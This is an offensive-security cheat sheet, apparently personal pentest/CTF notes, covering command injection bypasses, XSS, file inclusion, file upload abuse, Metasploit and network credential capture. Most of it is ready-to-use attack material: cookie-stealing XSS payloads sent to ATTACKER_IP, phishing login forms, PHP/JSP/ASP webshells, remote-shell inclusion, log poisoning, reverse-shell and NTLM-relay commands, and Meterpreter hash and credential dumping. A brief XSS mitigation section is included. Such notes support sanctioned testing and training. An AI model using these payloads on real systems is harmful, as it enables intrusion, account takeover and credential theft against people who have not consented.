5 - Exploitation

cc+++ title = “Command Injection” +++

Overview

User-controlled input that can lead to queries or code execution on the target server (OS, SQL, XSS, etc.). Front-end and back-end often use different validation, which can create vulnerabilities.

NOTE: Try URL encoding, newlines, tabs instead of spaces, and other encoding when characters are blocked.

Injection Types

Injection TypeOperators (Raw)Operators (URL Encoded)
SQL Injection' , ; -- /* */%27 %2C %3B %2D%2D %2F%2A%20%2A%2F
Command Injection; &&%3B %26%26
LDAP Injection* ( ) & |%2A %28 %29 %26 %7C
XPath Injection' or and not substring concat count%27 or and not substring concat count
OS Command Injection; & |%3B %26 %7C
Code Injection' ; -- /* */ $() ${} #{} %{} ^%27 %3B %2D%2D %2F%2A%20%2A%2F %24%28%29 %24%7B%7D %23%7B%7D %25%7B%7D %5E
Directory/Path Traversal../ ..\\%2E%2E%2F %2E%2E%5C %00
Object Injection; & |%3B %26 %7C
XQuery Injection' ; -- /* */%27 %3B %2D%2D %2F%2A%20%2A%2F
Shellcode Injection\x \u%5Cx %5Cu %u %n
Header Injection\n \r\n \t%0A %0D%0A %09
Space%20

Workarounds

When a crucial character is blocked, reference it from the environment (variable) or use alternate syntax. Use man ascii (Linux) or Get-ChildItem Env: (PowerShell) to find usable characters.

Linux

Curly-bracket expansion and character shifting: `\` is 92 (ASCII), `[` is 91.

BlockedBypass (example)
whitespace${IFS}
/${PATH:0:1} or $(tr '!-}' '"-~'<<<[)
;${LS_COLORS:10:1}
  • Commands: Mix quotes into the name: w"h"o"am"i, who$@ami, w\ho\am\i.
  • Case: $(tr "[A-Z]" "[a-z]"<<<"WhOaMi") or $(a="WhOaMi";printf %s "${a,,}").
  • Reversals: $(rev<<<'imaohw').
  • Encoded: echo -n 'cat /etc/passwd | grep 33' | base64bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==).
  • Use <<< instead of | when pipes are blocked.

Windows

BlockedBypass (example)
whitespacespace in %VAR% or `
/%HOMEPATH:~6,-11% or $env:HOMEPATH[0]
;%COMSPEC:~4,1% or newline in variable
  • Commands: Insert ^: who^ami. Try case variants: WHOAMI, wHoaMi.
  • Reversals: iex "$('imaohw'[-1..-20] -join '')".
  • Encoded (Unicode Base64): [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))".

Tools

Useful against basic WAFs and static regex in web-based command injection. Modern EDRs often detect these via telemetry.

Linux: Bashfuscator

Generates heavily obfuscated bash. Tune down for web use (small payloads). Evades WAFs by breaking strings into arrays and reconstructing at runtime.

# 1. Install (requires specific setuptools)
git clone https://github.com/Bashfuscator/Bashfuscator && cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user

# 2. Generate a short payload (-s 1 -t 1 --layers 1)
cd bashfuscator/bin/
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

# 3. Test locally before sending
bash -c '<PASTE_OUTPUT>'

Windows: DOSfuscation

Interactive PowerShell framework for obfuscating cmd.exe payloads. Uses env var substring extraction (e.g. %TEMP:~-3,-2%) so keywords don’t appear in the HTTP request.

# 1. Install & load
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

# 2. Interactive: set command then encoding
SET COMMAND type C:\Users\Public\flag.txt
encoding
1

Cross-site scripting (XSS)

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).

REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)

TypeDescription
Stored XSS (Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments)
Reflected XSS (Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message)
DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags)

Breaking Context

Manual Payloads

Sometimes, certain payloads are not allowed

<script>alert(window.origin)</script>

<img src="" onerror=alert(window.origin)>

<svg/onload=alert(window.origin)>

// Polyglot Breaker
javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>//

---

# Setup listener on ATTACKER_IP
sudo python3 -m http.server 80

// Remote script
<script src="http://<ATTACKER_IP>/script.js"></script>

// Same idea but enumerate vuln fields
<script src="http://<ATTACKER_IP>/username"></script>

// Exfil cookies
document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie;
new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;

Login Form Injection

<h3>Please login to continue</h3>
<form action=http://<ATTACKER_IP> >
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>

Blind XSS

Manual

Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.

mkdir /tmp/tmpserver && cd /tmp/tmpserver
cat << 'EOF' > script.js
new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie;
EOF
php -S 0.0.0.0:8080

NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible

# MODIFY PAYLOAD AS NEEDED
PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>'
# Encode it
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
# Hack it!
curl "http://<TARGET>/<PAGE>?\
Name=${ENCODED}\
&Email=${ENCODED}\
&Phone+Number=${ENCODED}\
&Product=${ENCODED}\
&os=${ENCODED}\
&browser=${ENCODED}\
&message=${ENCODED}\
&ttype=${ENCODED}" \
-H 'X-Requested-With: XMLHttpRequest'

Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:

  • Click Shift+F9 to show the Storage bar
  • Click on the + button on the top right corner
  • Add Name is the part before = and the Value is the part after = from the stolen cookie

Dalfox

NOTE: this is very dangerous and can break servers easily

# this installs the program at `~/go/bin/dalfox`
go install github.com/hahwul/dalfox/v2@latest
# HTTP GET
dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>'

# HTTP POST (can include multiple params for -d)
# COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>'
dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'

Blind

# Fuzz web page fields
dalfox url "http://<TARGET_IP>/<PAGE>" \
  --skip-mining-dom \
  --blind "http://<ATTACKER_IP>:8080" \
  -X POST \
  -d "<PARAM>=<VALUE>"
  --header "X-Requested-With: XMLHttpRequest" \
  --blind "http://10.10.14.175:8080" \
  --delay 500

XSS Prevention & Mitigation

XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).

Frontend

  • Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
  • Sanitization: Strip dangerous tags before processing.
  • Safe Sinks: Avoid writing raw HTML.
    • UNSAFE: innerHTML, outerHTML, document.write(), jQuery append(), html().
    • SAFE: innerText, textContent.

Backend

  • Input Validation: Reject input that doesn’t match expected types (e.g., PHP filter_var).
  • Input Sanitization: Escape special characters before storage (e.g., PHP addslashes, Node DOMPurify).
  • Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g., <&lt;) before rendering.
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • NodeJS: html-entities library.

Server Configuration

  • Content Security Policy (CSP): The most powerful header against XSS.
    • Content-Security-Policy: script-src 'self' (Only allow scripts from the same origin, blocks inline JS).
  • Cookie Flags:
    • HttpOnly: Prevents JavaScript from reading document.cookie.
    • Secure: Ensures cookies are only sent over HTTPS.
  • Headers:
    • X-Content-Type-Options: nosniff (Prevents MIME sniffing).
  • WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.

File Inclusion

File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

There are 2 types, which depend on the underlying vulnerable function:

Code Examples of FI

These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.

PHP

// Selector
if (isset($_GET['language'])) {
    include($_GET['language']);
}

NodeJS

// Selector
if(req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

// about.html
app.get("/about/:language", function(req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java

// Selector
<c:if test="${not empty param.language}">
    <jsp:include file="<%= request.getParameter('language') %>" />
</c:if>

// about.html
<c:import url= "<%= request.getParameter('language') %>"/>

.NET

// Selector
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
    <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> 
}

// about.html
@Html.Partial(HttpContext.Request.Query['language'])

Can Function X Read/Execute?

FunctionRead ContentExecuteRemote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

Checking Vulnerability

Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:

  • Linux: /etc/passwd
  • Windows: C:\Windows\boot.ini

Generally, they will be 3-5 folder depths down from the root filesystem:

# without '/'
../../../../etc/passwd
# with '/'
/../../../../etc/passwd

# basic filter '../' bypass
....//....//....//etc/passwd
..././
....\/

# URL encoding: must encode entire string
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

# regex might require a specific string or extension for a folder or extension
# the extension part can limit the files accessible
languages/.*php

# overflow character limit to evade extension filter
# ONLY: PHP <5.3 versions
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

# null byte
# ONLY: PHP <5.5 versions
../../../../etc/passwd%00.php

URL Encoding

# Total URL Encoding via Python
echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"

Finding Files

Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other *.php or config files in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)

# Find *.php files that DO EXIST on the server
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

If the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like base64 to encode the file to read and prevent it from being executed:

# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php"
http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE>

# View Page Source > Decode base64
echo '<BASE64> | base64 -d'

Local File Inclusion

Check Config

# If the LFI is already know (e.g. via LFImap) this
# can browse for all accessible config files
ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -v

Execute Commands

If able, check that appropriate settings are enabled and the underlying function supports the command.

via data

# Base64'd PHP Webshell: <?php system($_GET["cmd"]); ?>
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=;<COMMAND>;'

via input

# POST PHP Webshell
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' 'http://<TARGET>/<PAGE>?<PARAMETER>=php://input&cmd=<COMMAND>'

via expect

curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=expect://<COMMAND>'

Remote File Inclusion

If able, check that appropriate settings are enabled and the underlying function supports the command. Sometimes, though not always, command execution is allowed.

# URL is the remote resource
http://<TARGET>/<PAGE>?<PARAMETER>=<URL>

# Create remote PHP web shell
# NOTE: this only works for get and execute style functions
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server 8080

# Execute commands by calling back to ATTACK_IP and executing that file
curl -sko- 'http://<TARGET>/<PAGE>?<PARAMETER>=<ATTACKER_IP>:<PORT>/shell.php?cmd=<COMMAND>'

Log Poisoning

Poisoning a file to gain execution can be done by PHPSESSION, which is the settings a user has selected for a webpage.

# Get PHPSESSION from F12 > Storage
# NOTE: that file is stored on disk as:
# /var/lib/php/sessions/sess_<PHPSESSION>

# Read the settings for the PHPSESSION
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Let's see if we control the OPTION
http://<TARGET>/<PAGE>?<PARAMETER>=CONTROL
# Now read the value
http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>

# Set OPTION to a PHP webshell
curl -sc cookies.txt 'http://<TARGET>/<PAGE>?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E'

# Now execute commands
curl -sko- -b cookies.txt 'http://<TARGET>/<PAGE>?language=/var/lib/php/sessions/sess_<SESSION>&cmd=<COMMAND>'

Scanning

To find parameters that could be vulnerable to LFI, first search for the GET/POST parameter, then try out LFI payloads as a value.

NOTE: these payloads are easily defeated by file extension filtering, so that needs to be mitigated as needed. Often times:

  1. Check server configs
  2. Attempt to read and see the filtering from the pages
  3. Incorporate the filtering into the ffuf URL portion
# FIND: params
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

# FIND: LFI payloads
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

LFI Filter Evasion

When the default Jhaddix wordlist fails (returns 200s but no content, or 500 errors), the application is filtering your input.

The Filter (What the dev did)The Bypass (How to break it)Example Payload
Traversal Stripping (Removes ../)Nested or overlapping traversals.....//....//etc/passwd
..././..././etc/passwd
URL Decoding Filters (WAF)URL encode, or double-URL encode.%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
Hardcoded Prefix (include("dir/".$p))Add more ../ to climb out of the forced directory.../../../../../../etc/passwd
Hardcoded Suffix (include($p.".php"))Legacy (PHP < 5.3): null byte.
Modern: PHP filter (Base64).
../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config
Keyword Blocking (Blocks passwd)Wildcards (Linux) or redundant slashes./etc//passwd
/etc/security/../passwd

Mechanics & Logic

1. The “Forced Extension” Problem (.php)

If the code is include($_GET['page'] . ".php");, requesting /etc/passwd makes the server look for /etc/passwd.php, which doesn’t exist.

Solution: Pivot to reading the application’s source code using PHP wrappers. If you request php://filter/convert.base64-encode/resource=config, the server appends .php making it config.php. The wrapper Base64-encodes the PHP code instead of executing it, bypassing the extension filter entirely.

2. The str_replace Trap

Many developers try to fix LFI with str_replace("../", "", $input).

The bypass: If you send ....//, the filter finds the ../ in the middle and deletes it. What remains is the outer ../, which pieces itself back together after the filter runs.

Advanced Scanning

The LFI-Jhaddix list is a great scattergun; to explicitly test bypasses, use targeted SecLists:

# FIND: Advanced bypasses (nested, encoded, null bytes)
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=FUZZ' -fs <SIZE>

# FIND: PHP wrapper source code extraction (targets common files like index, config, db)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAM>=php://filter/read=convert.base64-encode/resource=FUZZ' -fs <SIZE>
See more about… Parameter fuzzing

Source: Docs > 9 - Notes > ffuf#parameter-fuzzing

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

LFImap

Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).

# Install
git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt

# Base Scan (Use '*' to mark the injection point)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'

# Full Auto-Exploit (Tests all bypasses & attempts RCE)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a

# Pop a Reverse Shell directly (if vulnerable)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>

Nuclei

Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.

See more about… Fix Go

Source: Docs > 9 - Notes > Troubleshooting#fix-go

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates first
nuclei -ut

# Target a specific URL for all known LFI vectors
echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi

# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)
nuclei -u 'http://<TARGET>/' -dast -tags lfi

# Blind OOB LFI (Catch callbacks with interactsh automatically)
nuclei -u 'http://<TARGET>/' -tags oast,lfi

File Upload

Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.

Process

  1. Identify the web technologies used (e.g. PHP).
  2. Check for client- and server-side validation and filtering.
  3. Intercept file submission with a web proxy and test modifications of:
    • Filename extensions in the request body
    • Content-Type headers
  4. Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
  5. Bypass server-side validation:
    • Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
    • Try double extensions such as .jpgFUZZ or FUZZ.jpg.
    • Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing
# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Content-Type for Uploads

Fuzz the request body’s Content-Type (not the HTTP header).

NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.

# Content-Type fuzzing
# NOTE: use a culled list for image uploads
grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt

ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Magic Bytes

File TypeMagic Bytes (Hex)ASCII Representation
GIF47 49 46 38 39 61 or 47 49 46 38 37 61GIF8, GIF89a or GIF87a
JPGFF D8 FF E0 (standard)ÿØÿà
PNG89 50 4E 47 0D 0A 1A 0A.PNG....

Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.

GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

Character Injection

This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.

> wordlist.txt
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    while IFS= read -r ext; do
        [[ -z "$ext" || "$ext" == \#* ]] && continue
        echo "shell${char}${ext}.jpg" >> wordlist.txt
        echo "shell${ext}${char}.jpg" >> wordlist.txt
        echo "shell.jpg${char}${ext}" >> wordlist.txt
        echo "shell.jpg${ext}${char}" >> wordlist.txt
    done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt"
done

Files with XXE (via local file reads)

SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.

Read File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]>
<svg>&xxe;</svg>

Read PHP

NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.

To read server configs or PHP without executing them:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]>
<svg>&xxe;</svg>

Simple Webshell

Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> 
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

Metasploit

Check [[shells]] for building meterpreter payloads with msfvenom

# Install exploit manually
cp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-db
pushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSF
reload
reload_all

### Search
# <type>/<os>/<service>/<name>

# Search for port and name, showing exploits only
search type:exploit platform: port:<PORT> name:<NAME>

# grep
grep meterpreter grep reverse_tcp show payloads

# Set all LHOST to tunnel IP
setg LHOST tun0

🌐 Meterpreter via WEB_DELIVERY

sudo msfconsole -q -x "use exploit/multi/script/web_delivery; set target PSH; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"

Use provided PowerShell command!

📦 Meterpreter via SMB_DELIVERY

sudo msfconsole -q -x "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"

Use provided rundll32.exe command!

🎧 Multi/Handler (Windows reverse_tcp)

sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 50000; exploit"

📊 Meterpreter Survey

sysinfo
getuid
getpid
ipconfig
ps

# Linux flag search
search -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt

# Windows flag search
search -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt

# REMEMBER: for Windows, quoting and double slashes 
cat "C:\\Programs and Files (x86)\\"

# Migrate
ps -s | grep svchost
migrate <PID>

getsystem
getprivs

# List security tokens of user and group
list_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token

# Dumps creds
hashdump  # CrackStation
lsa_dump_sam
lsa_dump_secrets

# Better dump creds
load kiwi
creds_all

# === WINDOWS ===
run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares

# --- Privilege Escalation & Credential Gathering ---
run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester

🗄️ DB for Targets

# for db_* commands
sudo service postgresql start
sudo msfdb init
sudo msfconsole -q
# Check database status from within msfconsole
db_status

# Database Backend Commands
db_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save

# Manage workspaces
workspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>

hosts
loot
notes
services
vulns
creds

# Using database hosts for a module
hosts -R  # set RHOSTS from hosts
services -S <SEARCH>

Online Credential Attacks

Online attacks = touching the wire. You send packets to the target. Risks: account lockouts, IDS/IPS detection, VPN latency. Tools: nxc, hydra, kerbrute, enum4linux-ng.


Preparation (Wordlists & Users)

Default Creds

# Install
pip install defaultcreds-cheat-sheet
creds update

# Creds
creds search <KEYWORD>

Username Generation

Generate usernames to spray (input for online attacks). Use before spraying.

# GOOGLE DORK: Find emails and user name scheme
site:<DOMAIN> "@<DOMAIN>"

# Generate different common permutations of usernames
git clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy <USERNAME>

Wordlist customization (offline)

Wordlist building and mutation (cewl, hashcat rules, CUPP): same wordlists can feed online spraying or offline cracking.

See more about… Wordlist Customization

Source: Docs > 7 - Lateral Movement > offline-hash-cracking#wordlist-customization

Wordlist Customization

Mutating Wordlists

cewl: Scrape target site to build a wordlist (e.g. company jargon, names).

# Create wordlist from website (lowercase, spider depth, min word length)
cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>

Hashcat rules: Mutate a small keyword list into a large wordlist.

# Manually generate keywords or use cewl via OSINT
cat << EOF > keywords.txt
<KEYWORDS>
EOF

# Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case)
# $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $
cat << EOF > custom.rule
c
C
t                                                                \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack with same rules
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

CUPP Profiling

Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.

git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py -i

Interactive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.



Enumeration

User Enum

  1. No creds: Try anonymous sessions
  2. Later: with credentials
See more about… Protocol Poisoners

Source: Docs > 5 - Exploitation > protocol-poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

Responder

  • https://github.com/lgandx/Responder
    • Configuration services: /etc/responder/Responder.conf
      • CHECK FOR PORT CONFLICTS!
    • Logs (creds) saved to: /usr/share/responder/logs/
  • Attacks the following protocols:
    • LLMNR
    • DNS
    • MDNS
    • NBNS
    • DHCP
    • ICMP
    • HTTP
    • HTTPS
    • SMB
    • LDAP
    • WebDAV
    • Proxy Auth
    • MSSQL
    • DCE-RPC
    • FTP, POP3, IMAP, and SMTP auth

Passive (listen only)

Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.

sudo responder -I <INTERFACE> -A

Active (respond / relay)

Sends responses or relays auth: can trigger login prompts or relay hashes to a target

# Force WPAD; may cause a login prompt
sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>

# Relay NTLM to target and execute a callback (e.g. rev shell)
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh

Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.

# Download latest release (Windows x64, single-file trimmed build)
TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:
# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true

# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit)
.\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y
